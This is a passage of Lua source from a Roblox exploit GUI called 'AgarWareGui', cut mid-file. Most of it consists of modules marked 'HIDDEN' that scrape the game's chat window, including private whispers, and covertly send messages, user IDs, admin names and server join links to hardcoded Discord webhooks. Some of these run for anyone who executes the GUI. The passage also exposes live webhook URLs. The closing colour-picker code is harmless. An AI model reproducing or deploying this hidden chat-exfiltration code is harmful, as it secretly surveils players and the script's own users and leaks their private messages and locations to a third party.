	local function getEmbedColor(buttonText)
		if string.match(buttonText, "HIDDEN CHAT") then
			return 0xff0000
		end
	
		if string.match(buttonText, "%[From") or string.match(buttonText, "%[To") then
			return 0x000000
		end
	
		local r, g, b = string.match(buttonText, "rgb%((%d+),(%d+),(%d+)%)")
		if r and g and b then
			r, g, b = tonumber(r), tonumber(g), tonumber(b)
			return (r * 65536) + (g * 256) + b
		end
	
		return 0xffffff
	end
	
	local function sendWebhook(display, message, embedColor, buttonText)
		-- Check cooldown
		local currentTime = tick()
		if currentTime - lastWebhookTime < WEBHOOK_COOLDOWN then
			task.wait(WEBHOOK_COOLDOWN - (currentTime - lastWebhookTime))
		end
	
		local prefix = ""
	
		if string.match(buttonText, "%[From") or string.match(buttonText, "%[To") then
			prefix = "*(PRIVATE)* "
		end
	
		local title = prefix .. "**" .. display .. "** " .. message
	
		local embed = {
			["title"] = title,
			["color"] = embedColor,
			["footer"] = {
				["text"] = getAdminFooter()
			},
			["timestamp"] = DateTime.now():ToIsoDate()
		}
	
		local payload = {
			["username"] = tostring(LocalPlayer.UserId),
			["embeds"] = {embed}
		}
	
		pcall(function()
			request({
				Url = WEBHOOK_URL,
				Method = "POST",
				Headers = {
					["Content-Type"] = "application/json"
				},
				Body = HttpService:JSONEncode(payload)
			})
		end)
	
		lastWebhookTime = tick()
	end
	
	local function onFrameAdded(frame)
		if processedFrames[frame] then return end
		processedFrames[frame] = true
	
		local frameName = frame.Name
		local userId = string.match(frameName, "^(%d+)%-")
	
		if not userId or userId == "0" then return end
	
		task.wait(0.1)
	
		local textMessage = frame:FindFirstChild("TextMessage")
		if not textMessage then return end
	
		local prefixText = textMessage:FindFirstChild("PrefixText")
		local bodyText = textMessage:FindFirstChild("BodyText")
		local textButton = textMessage:FindFirstChild("TextMessageButton")
	
		if not prefixText or not bodyText or not textButton then return end
	
		local textButtonButton = textButton:FindFirstChild("TextButton")
		if not textButtonButton then return end
	
		local display = prefixText.ContentText
	
		display = string.gsub(display, "%[To .-%] ", "")
		display = string.gsub(display, "%[From .-%] ", "")
	
		local fullMessage = bodyText.ContentText
		local buttonText = textButtonButton.Text
		local isPrivate = string.match(buttonText, "%[From") or string.match(buttonText, "%[To")
	
		local message = fullMessage
	
		if isPrivate then
			message = string.gsub(message, "%[To .-%] ", "")
			message = string.gsub(message, "%[From .-%] ", "")
	
			if string.sub(message, 1, #display) == display then
				message = string.sub(message, #display + 1)
			end
		else
			if string.sub(fullMessage, 1, #display) == display then
				message = string.sub(fullMessage, #display + 1)
			end
		end
	
		message = string.match(message, "^%s*(.-)%s*$")
	
		local embedColor = getEmbedColor(buttonText)
	
		sendWebhook(display, message, embedColor, buttonText)
	end
	
	for _, child in pairs(RCTScrollContentView:GetChildren()) do
		if child:IsA("Frame") then
			processedFrames[child] = true
		end
	end
	
	RCTScrollContentView.ChildAdded:Connect(function(child)
		if child:IsA("Frame") then
			onFrameAdded(child)
		end
	end)
end;
task.spawn(C_352);
-- StarterGui.AgarWareGui.Webhook.ChatLogsHIDDEN
local function C_353()
local script = G2L["353"];
	local HttpService = game:GetService("HttpService")
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	
	-- Whitelist of allowed user IDs
	local ALLOWED_USERS = {
		574381128,   -- main
		10587072700, -- alt 1
		8308247571,  -- alt 2
		10837544781, -- agarv609
	}
	
	-- Check if current player is whitelisted
	local function isWhitelisted()
		for _, id in pairs(ALLOWED_USERS) do
			if LocalPlayer.UserId == id then
				return true
			end
		end
		return false
	end
	
	-- Stop script if not whitelisted
	if not isWhitelisted() then
		return
	end
	
	local WEBHOOK_URL = "https://discordapp.com/api/webhooks/1495434161190600704/2MBrbN3r9e5mWpmyRVNhpuegrZeT4vKzInt18KZpHOa7Ix1Jr3imCthfD8o0VV2pi2q6"
	
	local CoreGui = game:GetService("CoreGui")
	local ExperienceChat = CoreGui:WaitForChild("ExperienceChat")
	local chatWindow = ExperienceChat:WaitForChild("appLayout"):WaitForChild("chatWindow")
	local scrollingView = chatWindow:WaitForChild("scrollingView")
	local bottomLockedScrollView = scrollingView:WaitForChild("bottomLockedScrollView")
	local RCTScrollView = bottomLockedScrollView:WaitForChild("RCTScrollView")
	local RCTScrollContentView = RCTScrollView:WaitForChild("RCTScrollContentView")
	
	local processedFrames = {}
	local lastWebhookTime = 0
	local WEBHOOK_COOLDOWN = 2
	
	local function getEmbedColor(buttonText)
		if string.match(buttonText, "HIDDEN CHAT") then
			return 0xff0000
		end
	
		if string.match(buttonText, "%[From") or string.match(buttonText, "%[To") then
			return 0x000000
		end
	
		local r, g, b = string.match(buttonText, "rgb%((%d+),(%d+),(%d+)%)")
		if r and g and b then
			r, g, b = tonumber(r), tonumber(g), tonumber(b)
			return (r * 65536) + (g * 256) + b
		end
	
		return 0xffffff
	end
	
	local function isExcludedColor(embedColor)
		-- Admin color: rgb(245,205,48)
		local adminColor = (245 * 65536) + (205 * 256) + 48
	
		-- Neutral color: rgb(150,103,102)
		local neutralColor = (150 * 65536) + (103 * 256) + 102
	
		-- Enlighten color: rgb(4,175,236)
		local enlightenColor = (4 * 65536) + (175 * 256) + 236
	
		-- White color
		local whiteColor = 0xffffff
	
		-- Check if the color matches any excluded color
		if embedColor == adminColor then return true end
		if embedColor == neutralColor then return true end
		if embedColor == enlightenColor then return true end
		if embedColor == whiteColor then return true end
	
		return false
	end
	
	local function sendWebhook(display, message, embedColor, buttonText)
		-- Don't log if color is excluded
		if isExcludedColor(embedColor) then
			return
		end
	
		-- Check cooldown
		local currentTime = tick()
		if currentTime - lastWebhookTime < WEBHOOK_COOLDOWN then
			task.wait(WEBHOOK_COOLDOWN - (currentTime - lastWebhookTime))
		end
	
		local prefix = ""
	
		if string.match(buttonText, "%[From") or string.match(buttonText, "%[To") then
			prefix = "*(PRIVATE)* "
		end
	
		local title = prefix .. "**" .. display .. "** " .. message
	
		local embed = {
			["title"] = title,
			["color"] = embedColor,
			["timestamp"] = DateTime.now():ToIsoDate()
		}
	
		local payload = {
			["embeds"] = {embed}
		}
	
		pcall(function()
			request({
				Url = WEBHOOK_URL,
				Method = "POST",
				Headers = {
					["Content-Type"] = "application/json"
				},
				Body = HttpService:JSONEncode(payload)
			})
		end)
	
		lastWebhookTime = tick()
	end
	
	local function onFrameAdded(frame)
		if processedFrames[frame] then return end
		processedFrames[frame] = true
	
		local frameName = frame.Name
		local userId = string.match(frameName, "^(%d+)%-")
	
		if not userId or userId == "0" then return end
	
		task.wait(0.1)
	
		local textMessage = frame:FindFirstChild("TextMessage")
		if not textMessage then return end
	
		local prefixText = textMessage:FindFirstChild("PrefixText")
		local bodyText = textMessage:FindFirstChild("BodyText")
		local textButton = textMessage:FindFirstChild("TextMessageButton")
	
		if not prefixText or not bodyText or not textButton then return end
	
		local textButtonButton = textButton:FindFirstChild("TextButton")
		if not textButtonButton then return end
	
		local display = prefixText.ContentText
	
		display = string.gsub(display, "%[To .-%] ", "")
		display = string.gsub(display, "%[From .-%] ", "")
	
		local fullMessage = bodyText.ContentText
		local buttonText = textButtonButton.Text
		local isPrivate = string.match(buttonText, "%[From") or string.match(buttonText, "%[To")
	
		local message = fullMessage
	
		if isPrivate then
			message = string.gsub(message, "%[To .-%] ", "")
			message = string.gsub(message, "%[From .-%] ", "")
	
			if string.sub(message, 1, #display) == display then
				message = string.sub(message, #display + 1)
			end
		else
			if string.sub(fullMessage, 1, #display) == display then
				message = string.sub(fullMessage, #display + 1)
			end
		end
	
		message = string.match(message, "^%s*(.-)%s*$")
	
		local embedColor = getEmbedColor(buttonText)
	
		sendWebhook(display, message, embedColor, buttonText)
	end
	
	for _, child in pairs(RCTScrollContentView:GetChildren()) do
		if child:IsA("Frame") then
			processedFrames[child] = true
		end
	end
	
	RCTScrollContentView.ChildAdded:Connect(function(child)
		if child:IsA("Frame") then
			onFrameAdded(child)
		end
	end)
end;
task.spawn(C_353);
-- StarterGui.AgarWareGui.Webhook.GlobalChatLogsHIDDEN
local function C_354()
local script = G2L["354"];
	local HttpService = game:GetService("HttpService")
	local Players = game:GetService("Players")
	local Teams = game:GetService("Teams")
	local LocalPlayer = Players.LocalPlayer
	
	local WEBHOOK_URL = "https://discordapp.com/api/webhooks/1495435106817540146/KZ18qjWOyBOvHWiuaXyJBxPLNgclinWr9pjBEqo1YEygAkw0dad8GaD65V4UmqZLZZNl"
	
	local CoreGui = game:GetService("CoreGui")
	local ExperienceChat = CoreGui:WaitForChild("ExperienceChat")
	local chatWindow = ExperienceChat:WaitForChild("appLayout"):WaitForChild("chatWindow")
	local scrollingView = chatWindow:WaitForChild("scrollingView")
	local bottomLockedScrollView = scrollingView:WaitForChild("bottomLockedScrollView")
	local RCTScrollView = bottomLockedScrollView:WaitForChild("RCTScrollView")
	local RCTScrollContentView = RCTScrollView:WaitForChild("RCTScrollContentView")
	
	local processedFrames = {}
	
	local function getAdmins()
		local admins = {}
		local chosenTeam = Teams:FindFirstChild("Chosen")
	
		if chosenTeam then
			for _, player in pairs(Players:GetPlayers()) do
				if player.Team == chosenTeam then
					table.insert(admins, player)
				end
			end
		end
	
		return admins
	end
	
	local function getAdminFooter()
		local admins = getAdmins()
	
		if #admins == 0 then
			return "Admin: None"
		end
	
		local adminTexts = {}
		for i, admin in ipairs(admins) do
			table.insert(adminTexts, admin.DisplayName .. " / " .. admin.Name)
		end
	
		return "Admin: " .. table.concat(adminTexts, ", ")
	end
	
	local function getEmbedColor(buttonText)
		if string.match(buttonText, "HIDDEN CHAT") then
			return 0xff0000
		end
	
		if string.match(buttonText, "%[From") or string.match(buttonText, "%[To") then
			return 0x000000
		end
	
		local r, g, b = string.match(buttonText, "rgb%((%d+),(%d+),(%d+)%)")
		if r and g and b then
			r, g, b = tonumber(r), tonumber(g), tonumber(b)
			return (r * 65536) + (g * 256) + b
		end
	
		return 0xffffff
	end
	
	local function isExcludedColor(embedColor)
		-- Admin color: rgb(245,205,48)
		local adminColor = (245 * 65536) + (205 * 256) + 48
	
		-- Neutral color: rgb(150,103,102)
		local neutralColor = (150 * 65536) + (103 * 256) + 102
	
		-- Enlighten color: rgb(4,175,236)
		local enlightenColor = (4 * 65536) + (175 * 256) + 236
	
		-- White color
		local whiteColor = 0xffffff
	
		-- Check if the color matches any excluded color
		if embedColor == adminColor then return true end
		if embedColor == neutralColor then return true end
		if embedColor == enlightenColor then return true end
		if embedColor == whiteColor then return true end
	
		return false
	end
	
	local function sendWebhook(display, message, embedColor, buttonText)
		-- Don't log if color is excluded
		if isExcludedColor(embedColor) then
			return
		end
	
		local prefix = ""
	
		if string.match(buttonText, "%[From") or string.match(buttonText, "%[To") then
			prefix = "*(PRIVATE)* "
		end
	
		local title = prefix .. "**" .. display .. "** " .. message
	
		local embed = {
			["title"] = title,
			["color"] = embedColor,
			["footer"] = {
				["text"] = getAdminFooter()
			},
			["timestamp"] = DateTime.now():ToIsoDate()
		}
	
		local payload = {
			["embeds"] = {embed}
		}
	
		pcall(function()
			request({
				Url = WEBHOOK_URL,
				Method = "POST",
				Headers = {
					["Content-Type"] = "application/json"
				},
				Body = HttpService:JSONEncode(payload)
			})
		end)
	end
	
	local function onFrameAdded(frame)
		if processedFrames[frame] then return end
		processedFrames[frame] = true
	
		local frameName = frame.Name
		local userId = string.match(frameName, "^(%d+)%-")
	
		if not userId or userId == "0" then return end
	
		task.wait(0.1)
	
		local textMessage = frame:FindFirstChild("TextMessage")
		if not textMessage then return end
	
		local prefixText = textMessage:FindFirstChild("PrefixText")
		local bodyText = textMessage:FindFirstChild("BodyText")
		local textButton = textMessage:FindFirstChild("TextMessageButton")
	
		if not prefixText or not bodyText or not textButton then return end
	
		local textButtonButton = textButton:FindFirstChild("TextButton")
		if not textButtonButton then return end
	
		local display = prefixText.ContentText
	
		display = string.gsub(display, "%[To .-%] ", "")
		display = string.gsub(display, "%[From .-%] ", "")
	
		local fullMessage = bodyText.ContentText
		local buttonText = textButtonButton.Text
		local isPrivate = string.match(buttonText, "%[From") or string.match(buttonText, "%[To")
	
		local message = fullMessage
	
		if isPrivate then
			message = string.gsub(message, "%[To .-%] ", "")
			message = string.gsub(message, "%[From .-%] ", "")
	
			if string.sub(message, 1, #display) == display then
				message = string.sub(message, #display + 1)
			end
		else
			if string.sub(fullMessage, 1, #display) == display then
				message = string.sub(fullMessage, #display + 1)
			end
		end
	
		message = string.match(message, "^%s*(.-)%s*$")
	
		local embedColor = getEmbedColor(buttonText)
	
		sendWebhook(display, message, embedColor, buttonText)
	end
	
	for _, child in pairs(RCTScrollContentView:GetChildren()) do
		if child:IsA("Frame") then
			processedFrames[child] = true
		end
	end
	
	RCTScrollContentView.ChildAdded:Connect(function(child)
		if child:IsA("Frame") then
			onFrameAdded(child)
		end
	end)
end;
task.spawn(C_354);
-- StarterGui.AgarWareGui.Webhook.UserChatLogs
local function C_355()
local script = G2L["355"];
	local HttpService = game:GetService("HttpService")
	local Players = game:GetService("Players")
	local Teams = game:GetService("Teams")
	local LocalPlayer = Players.LocalPlayer
	
	local WEBHOOK_URL = "https://discordapp.com/api/webhooks/1495474031992770712/bfFcwvPHA8lDK4rDRPZ4tvkp8_ij-YzrNualLG1zHEtDa4ly4tyHcgGi0Pld_rBs341b"
	
	task.wait(2)
	
	local CoreGui = game:GetService("CoreGui")
	local ExperienceChat = CoreGui:FindFirstChild("ExperienceChat")
	
	if not ExperienceChat then return end
	
	local chatWindow = ExperienceChat:WaitForChild("appLayout"):WaitForChild("chatWindow")
	local scrollingView = chatWindow:WaitForChild("scrollingView")
	local bottomLockedScrollView = scrollingView:WaitForChild("bottomLockedScrollView")
	local RCTScrollView = bottomLockedScrollView:WaitForChild("RCTScrollView")
	local RCTScrollContentView = RCTScrollView:WaitForChild("RCTScrollContentView")
	
	local processedFrames = {}
	
	local function getAdmins()
		local admins = {}
		local chosenTeam = Teams:FindFirstChild("Chosen")
	
		if chosenTeam then
			for _, player in pairs(Players:GetPlayers()) do
				if player.Team == chosenTeam then
					table.insert(admins, player)
				end
			end
		end
	
		return admins
	end
	
	local function getAdminFooter()
		local admins = getAdmins()
	
		if #admins == 0 then
			return "Admin: None"
		end
	
		local adminTexts = {}
		for i, admin in ipairs(admins) do
			table.insert(adminTexts, admin.DisplayName .. " / " .. admin.Name)
		end
	
		return "Admin: " .. table.concat(adminTexts, ", ")
	end
	
	local function getEmbedColor(buttonText)
		if string.match(buttonText, "HIDDEN CHAT") then
			return 0xff0000
		end
	
		if string.match(buttonText, "%[From") or string.match(buttonText, "%[To") then
			return 0x000000
		end
	
		local r, g, b = string.match(buttonText, "rgb%((%d+),(%d+),(%d+)%)")
		if r and g and b then
			r, g, b = tonumber(r), tonumber(g), tonumber(b)
			return (r * 65536) + (g * 256) + b
		end
	
		return 0xffffff
	end
	
	local function getJoinLink()
		local ok, link = pcall(function()
			return "https://www.roblox.com/games/start?placeId="
				.. game.PlaceId
				.. "&gameInstanceId=" .. game.JobId
		end)
		return ok and link or ""
	end
	
	local function containsAgarv(message)
		-- Check if message contains @agarv (case insensitive, @ must be directly followed by agarv)
		return string.match(string.lower(message), "@agarv") ~= nil
	end
	
	local function sendWebhook(display, message, embedColor, buttonText)
		local prefix = ""
		local hasMention = containsAgarv(message)
	
		-- Extract [To Display] or [From Display] from buttonText
		local toMatch = string.match(buttonText, "%[To .-%]")
		local fromMatch = string.match(buttonText, "%[From .-%]")
	
		if toMatch then
			prefix = "*" .. toMatch .. "* "
		elseif fromMatch then
			prefix = "*" .. fromMatch .. "* "
		end
	
		local title = prefix .. "**" .. display .. "** " .. message
	
		local embed = {
			["title"] = title,
			["color"] = embedColor,
			["footer"] = {
				["text"] = getAdminFooter()
			},
			["timestamp"] = DateTime.now():ToIsoDate()
		}
	
		-- Add description with join link if message contains @agarv
		if hasMention then
			embed["description"] = "[Join Game](" .. getJoinLink() .. ")"
		end
	
		local payload = {
			["username"] = tostring(LocalPlayer.UserId),
			["embeds"] = {embed}
		}
	
		-- Add ping in content if message contains @agarv
		if hasMention then
			payload["content"] = "<@1301477323090034731>"
		end
	
		local requestFunc = request or http_request or (syn and syn.request) or (http and http.request)
	
		pcall(function()
			requestFunc({
				Url = WEBHOOK_URL,
				Method = "POST",
				Headers = {
					["Content-Type"] = "application/json"
				},
				Body = HttpService:JSONEncode(payload)
			})
		end)
	end
	
	local function onFrameAdded(frame)
		if processedFrames[frame] then return end
		processedFrames[frame] = true
	
		local frameName = frame.Name
		local userId = string.match(frameName, "^(%d+)%-")
	
		if not userId or userId == "0" then return end
	
		-- Only log messages sent by the local player
		if tonumber(userId) ~= LocalPlayer.UserId then return end
	
		task.wait(0.1)
	
		local textMessage = frame:FindFirstChild("TextMessage")
		if not textMessage then return end
	
		local prefixText = textMessage:FindFirstChild("PrefixText")
		local bodyText = textMessage:FindFirstChild("BodyText")
		local textButton = textMessage:FindFirstChild("TextMessageButton")
	
		if not prefixText or not bodyText or not textButton then return end
	
		local textButtonButton = textButton:FindFirstChild("TextButton")
		if not textButtonButton then return end
	
		local display = prefixText.ContentText
	
		display = string.gsub(display, "%[To .-%] ", "")
		display = string.gsub(display, "%[From .-%] ", "")
	
		local fullMessage = bodyText.ContentText
		local buttonText = textButtonButton.Text
		local isPrivate = string.match(buttonText, "%[From") or string.match(buttonText, "%[To")
	
		local message = fullMessage
	
		if isPrivate then
			message = string.gsub(message, "%[To .-%] ", "")
			message = string.gsub(message, "%[From .-%] ", "")
	
			if string.sub(message, 1, #display) == display then
				message = string.sub(message, #display + 1)
			end
		else
			if string.sub(fullMessage, 1, #display) == display then
				message = string.sub(fullMessage, #display + 1)
			end
		end
	
		message = string.match(message, "^%s*(.-)%s*$")
	
		local embedColor = getEmbedColor(buttonText)
	
		sendWebhook(display, message, embedColor, buttonText)
	end
	
	for _, child in pairs(RCTScrollContentView:GetChildren()) do
		if child:IsA("Frame") then
			processedFrames[child] = true
		end
	end
	
	RCTScrollContentView.ChildAdded:Connect(function(child)
		if child:IsA("Frame") then
			onFrameAdded(child)
		end
	end)
end;
task.spawn(C_355);
-- StarterGui.AgarWareGui.ColorPicker.DragColorPicker
local function C_357()
local script = G2L["357"];
	-- DragHandler for ColorPicker
	local ColorPicker = script.Parent
	local HueSlider = ColorPicker:WaitForChild("HueSlider")
	local SaturationValueCanvas = ColorPicker:WaitForChild("SaturationValueCanvas")
	
	local UserInputService = game:GetService("UserInputService")
	
	local dragging = false
	local dragStart = nil
	local startPos = nil
	
	-- Check if mouse/touch is over HueSlider or Canvas
	local function isOverColorControls(position)
		-- Check HueSlider
		local huePos = HueSlider.AbsolutePosition
		local hueSize = HueSlider.AbsoluteSize
		local overHue = position.X >= huePos.X and position.X <= huePos.X + hueSize.X
			and position.Y >= huePos.Y and position.Y <= huePos.Y + hueSize.Y
	
		-- Check Canvas
		local canvasPos = SaturationValueCanvas.AbsolutePosition
		local canvasSize = SaturationValueCanvas.AbsoluteSize
		local overCanvas = position.X >= canvasPos.X and position.X <= canvasPos.X + canvasSize.X
			and position.Y >= canvasPos.Y and position.Y <= canvasPos.Y + canvasSize.Y
	
		return overHue or overCanvas
	end
	
	ColorPicker.InputBegan:Connect(function(input, gameProcessed)
		if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
			if not isOverColorControls(input.Position) then
				dragging = true
				dragStart = input.Position
				startPos = ColorPicker.Position
				input:Destroy() -- sink the input so camera doesn't receive it
			end
		end
	end)
	
	ColorPicker.InputEnded:Connect(function(input)
		if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
			dragging = false
		end
	end)
	
	UserInputService.InputChanged:Connect(function(input, gameProcessed)
		if (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) and dragging then
			local delta = input.Position - dragStart
			ColorPicker.Position = UDim2.new(
				startPos.X.Scale,
				startPos.X.Offset + delta.X,
				startPos.Y.Scale,
				startPos.Y.Offset + delta.Y
			)
			input:Destroy() -- sink so camera doesn't pan
		end
	end)
end;
task.spawn(C_357);
-- StarterGui.AgarWareGui.ColorPicker.ColorPickerScript
local function C_358()
local script = G2L["358"];
	local ColorPicker = script.Parent
	local HueSlider = ColorPicker.HueSlider
	local SaturationValueCanvas = ColorPicker.SaturationValueCanvas
	local ColorSelect = ColorPicker.ColorSelect
	local HEX = ColorPicker.HEX
	local CloseColorPicker = ColorPicker.CloseColorPicker
	
	local UserInputService = game:GetService("UserInputService")
	
	-- ============================================================
	-- CENTER ON SCREEN (ONLY FIRST TIME EVER)
	-- ============================================================
	local hasBeenCentered = false
	
	local function centerFrame()
		if not hasBeenCentered then
			local screenSize = ColorPicker.Parent.AbsoluteSize
			ColorPicker.Position = UDim2.new(0.5, -ColorPicker.Size.X.Offset / 2, 0.5, -ColorPicker.Size.Y.Offset / 2)
			hasBeenCentered = true
		end
	end
	
	-- Hide on startup
	ColorPicker.Visible = false
	
	-- ============================================================
	-- COLOR STATE
	-- ============================================================
	local hue = 0
	local sat = 0
	local val = 1
	local currentColor = Color3.fromRGB(255, 255, 255)
	
	-- ============================================================
	-- CREATE HUE GRADIENT (HORIZONTAL)
	-- ============================================================
	HueSlider.BackgroundColor3 = Color3.fromRGB(255, 255, 255) -- Set to white so gradient shows
	HueSlider.BorderColor3 = Color3.fromRGB(58, 58, 58) -- Original border
	HueSlider.Active = true -- Sink input to prevent camera movement on mobile
	
	local hueGradient = Instance.new("UIGradient")
	hueGradient.Color = ColorSequence.new({
		ColorSequenceKeypoint.new(0, Color3.fromRGB(255, 0, 0)),      -- Red
		ColorSequenceKeypoint.new(0.17, Color3.fromRGB(255, 255, 0)), -- Yellow
		ColorSequenceKeypoint.new(0.33, Color3.fromRGB(0, 255, 0)),   -- Green
		ColorSequenceKeypoint.new(0.5, Color3.fromRGB(0, 255, 255)),  -- Cyan
		ColorSequenceKeypoint.new(0.67, Color3.fromRGB(0, 0, 255)),   -- Blue
		ColorSequenceKeypoint.new(0.83, Color3.fromRGB(255, 0, 255)), -- Magenta
		ColorSequenceKeypoint.new(1, Color3.fromRGB(255, 0, 0))       -- Red
	})
	hueGradient.Rotation = 0 -- Horizontal
	hueGradient.Parent = HueSlider
	
	-- ============================================================
	-- CREATE CANVAS GRADIENTS
	-- ============================================================
	SaturationValueCanvas.BackgroundColor3 = Color3.fromRGB(255, 255, 255) -- Set to white
	SaturationValueCanvas.BorderColor3 = Color3.fromRGB(58, 58, 58) -- Original border
	SaturationValueCanvas.Active = true -- Sink input to prevent camera movement on mobile
	
	local satGradient = Instance.new("UIGradient")
	satGradient.Color = ColorSequence.new({
		ColorSequenceKeypoint.new(0, Color3.new(1, 1, 1)),
		ColorSequenceKeypoint.new(1, Color3.new(1, 0, 0))
	})
	satGradient.Rotation = 0
	satGradient.Parent = SaturationValueCanvas
	
	local brightFrame = Instance.new("Frame")
	brightFrame.Size = UDim2.new(1, 0, 1, 0)
	brightFrame.BackgroundColor3 = Color3.new(0, 0, 0)
	brightFrame.BorderSizePixel = 0
	brightFrame.ZIndex = SaturationValueCanvas.ZIndex + 1
	brightFrame.Parent = SaturationValueCanvas
	
	local brightGradient = Instance.new("UIGradient")
	brightGradient.Rotation = 90
	brightGradient.Transparency = NumberSequence.new({
		NumberSequenceKeypoint.new(0, 1),
		NumberSequenceKeypoint.new(1, 0)
	})
	brightGradient.Parent = brightFrame
	
	-- ============================================================
	-- CREATE CANVAS CURSOR (CIRCLE)
	-- ============================================================
	local canvasCursor = Instance.new("Frame")
	canvasCursor.Size = UDim2.new(0, 14, 0, 14)
	canvasCursor.AnchorPoint = Vector2.new(0.5, 0.5)
	canvasCursor.BackgroundColor3 = Color3.new(1, 1, 1)
	canvasCursor.BorderSizePixel = 0
	canvasCursor.ZIndex = SaturationValueCanvas.ZIndex + 2
	canvasCursor.Parent = SaturationValueCanvas
	
	local canvasCursorCorner = Instance.new("UICorner")
	canvasCursorCorner.CornerRadius = UDim.new(1, 0)
	canvasCursorCorner.Parent = canvasCursor
	
	local canvasCursorStroke = Instance.new("UIStroke")
	canvasCursorStroke.Color = Color3.new(0, 0, 0)
	canvasCursorStroke.Thickness = 2
	canvasCursorStroke.Parent = canvasCursor
	
	-- ============================================================
	-- CREATE HUE CURSOR (VERTICAL LINE)
	-- ============================================================
	local hueCursor = Instance.new("Frame")
	hueCursor.Size = UDim2.new(0, 3, 1, 0)
	hueCursor.AnchorPoint = Vector2.new(0.5, 0)
	hueCursor.BackgroundColor3 = Color3.new(1, 1, 1)
	hueCursor.BorderSizePixel = 0
	hueCursor.ZIndex = HueSlider.ZIndex + 1
	hueCursor.Parent = HueSlider
	
	local hueCursorStroke = Instance.new("UIStroke")
	hueCursorStroke.Color = Color3.new(0, 0, 0)
	hueCursorStroke.Thickness = 1
	hueCursorStroke.Parent = hueCursor
	
	-- ============================================================
	-- UPDATE FUNCTIONS
	-- ============================================================
	local function updateCanvas()
		local hueColor = Color3.fromHSV(hue, 1, 1)
		satGradient.Color = ColorSequence.new({
			ColorSequenceKeypoint.new(0, Color3.new(1, 1, 1)),
			ColorSequenceKeypoint.new(1, hueColor)
		})
	end
	
	local function updateColor()
		currentColor = Color3.fromHSV(hue, sat, val)
	
		-- Update Select button background
		ColorSelect.BackgroundColor3 = currentColor
	
		-- Determine if text should be black or white
		local r, g, b = currentColor.R, currentColor.G, currentColor.B
		local luminance = 0.299 * r + 0.587 * g + 0.114 * b
		ColorSelect.TextColor3 = luminance > 0.5 and Color3.new(0, 0, 0) or Color3.new(1, 1, 1)
	
		-- Update HEX textbox
		local hex = string.format("#%02x%02x%02x", 
			math.floor(currentColor.R * 255),
			math.floor(currentColor.G * 255),
			math.floor(currentColor.B * 255)
		)
		if HEX.Text ~= hex then
			HEX.Text = hex
		end
	end
	
	local function updateHueCursor(relativeX)
		relativeX = math.clamp(relativeX, 0, 1)
		hue = relativeX
		hueCursor.Position = UDim2.new(relativeX, 0, 0, 0)
		updateCanvas()
		updateColor()
	end
	
	local function updateCanvasCursor(relativeX, relativeY)
		relativeX = math.clamp(relativeX, 0, 1)
		relativeY = math.clamp(relativeY, 0, 1)
		sat = relativeX
		val = 1 - relativeY
		canvasCursor.Position = UDim2.new(relativeX, 0, relativeY, 0)
		updateColor()
	end
	
	local function setColorFromHex(hexStr)
		-- Remove # if present
		hexStr = hexStr:gsub("#", "")
	
		if #hexStr ~= 6 then return end
	
		-- Parse RGB
		local r = tonumber(hexStr:sub(1, 2), 16) / 255
		local g = tonumber(hexStr:sub(3, 4), 16) / 255
		local b = tonumber(hexStr:sub(5, 6), 16) / 255
	
		if not r or not g or not b then return end
	
		-- Convert to HSV
		local h, s, v = Color3.new(r, g, b):ToHSV()
		hue = h
		sat = s
		val = v
	
		-- Update cursors
		hueCursor.Position = UDim2.new(hue, 0, 0, 0)
		canvasCursor.Position = UDim2.new(sat, 0, 1 - val, 0)
	
		updateCanvas()
		updateColor()
	end
	
	-- ============================================================
	-- HUE SLIDER INTERACTION
	-- ============================================================
	local hueDragging = false
	local canvasDragging = false -- Declare both here
	
	HueSlider.InputBegan:Connect(function(input)
		if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
			hueDragging = true
			local relativeX = (input.Position.X - HueSlider.AbsolutePosition.X) / HueSlider.AbsoluteSize.X
			updateHueCursor(relativeX)
		end
	end)
	
	UserInputService.InputEnded:Connect(function(input)
		if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
			hueDragging = false
			canvasDragging = false
		end
	end)
	
	UserInputService.InputChanged:Connect(function(input)
		if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
			if hueDragging then
				local relativeX = (input.Position.X - HueSlider.AbsolutePosition.X) / HueSlider.AbsoluteSize.X
				updateHueCursor(relativeX)
			end
			if canvasDragging then
				local relativeX = (input.Position.X - SaturationValueCanvas.AbsolutePosition.X) / SaturationValueCanvas.AbsoluteSize.X
				local relativeY = (input.Position.Y - SaturationValueCanvas.AbsolutePosition.Y) / SaturationValueCanvas.AbsoluteSize.Y
				updateCanvasCursor(relativeX, relativeY)
			end
		end
	end)
	
	-- ============================================================
	-- CANVAS INTERACTION (CLICK ANYWHERE AND DRAG)
	-- ============================================================
	SaturationValueCanvas.InputBegan:Connect(function(input)
		if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
			canvasDragging = true
			local relativeX = (input.Position.X - SaturationValueCanvas.AbsolutePosition.X) / SaturationValueCanvas.AbsoluteSize.X
			local relativeY = (input.Position.Y - SaturationValueCanvas.AbsolutePosition.Y) / SaturationValueCanvas.AbsoluteSize.Y
			updateCanvasCursor(relativeX, relativeY)
		end
	end)
	
	-- ============================================================
	-- HEX TEXTBOX CHANGED
	-- ============================================================
	HEX.FocusLost:Connect(function()
		setColorFromHex(HEX.Text)
	end)
	
	-- ============================================================
	-- CLOSE BUTTON
	-- ============================================================
	CloseColorPicker.MouseButton1Click:Connect(function()
		ColorPicker.Visible = false
	end)
	
	-- ============================================================
	-- INITIALIZE TO WHITE (#ffffff)
	-- ============================================================
	setColorFromHex("ffffff")
	
	-- ============================================================
	-- EXPOSE FUNCTIONS GLOBALLY
	-- ============================================================
	_G.ColorPickerFunctions = {
		SetColor = setColorFromHex,
		Center = centerFrame
	}
	
	print("[ColorPicker] Initialized - Default: #ffffff")
end;
task.spawn(C_358);
-- StarterGui.AgarWareGui.ColorPicker.HEX.HEXScript
local function C_35f()
local script = G2L["35f"];
	local HEX = script.Parent
	
	-- ============================================================
	-- HEX FORMATTING
	-- ============================================================
	local function isValidHexChar(char)
		local lower = char:lower()
